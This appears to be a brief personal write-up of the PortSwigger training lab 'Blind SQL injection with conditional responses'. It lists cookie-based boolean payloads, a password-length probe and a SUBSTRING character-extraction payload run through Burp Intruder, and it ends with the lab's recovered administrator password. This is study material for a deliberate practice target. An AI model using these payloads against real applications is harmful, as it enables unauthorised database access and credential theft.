> For the complete documentation index, see [llms.txt](https://h3ckt0r.gitbook.io/0xsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://h3ckt0r.gitbook.io/0xsec/offensive-security/oscp/writeups/portswigger/sql-injection-labs.md). # SQL injection labs ## Lab: Blind SQL injection with conditional responses The application uses a tracking cookie for analytics The database contains a different table called **`users`**, with columns called **`username`** and `password`. You need to exploit the blind SQL injection vulnerability to find out the password of the **`administrator`** user. **`Cookie: TrackingId=St10uonYH4szuC66`** ```sql Cookie: TrackingId=St10uonYH4szuC66' AND '1'='1 #true Cookie: TrackingId=St10uonYH4szuC66' AND '1'='2 #false ``` ok i will use limit ```sql ' AND (SELECT 'X' from users limit 1)='x'-- ```

ok i will try use table users and column username ```sql AND+(SELECT+username+FROM+users+WHERE+username='administrator')='administrator'-- ```

ok in this case i'll tracking passsword using SUBSTRING() function to extract a single character from the password ```sql ' AND (SELECT username FROM users WHERE username='administrator' and LENGTH(password)>1)='administrator'-- ```

i will try numbers 1 to 19 all valid password >19 go to intruder > cluster bomb ```sql '+AND+(SELECT+substring(password,1,1)+FROM+users+WHERE+username%3d'administrator')%3d'8'-- ```

``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 8oiqhj3w6k9bfypfq7j1 ```

offfffffffffffffffffffffff! :smile: :tada: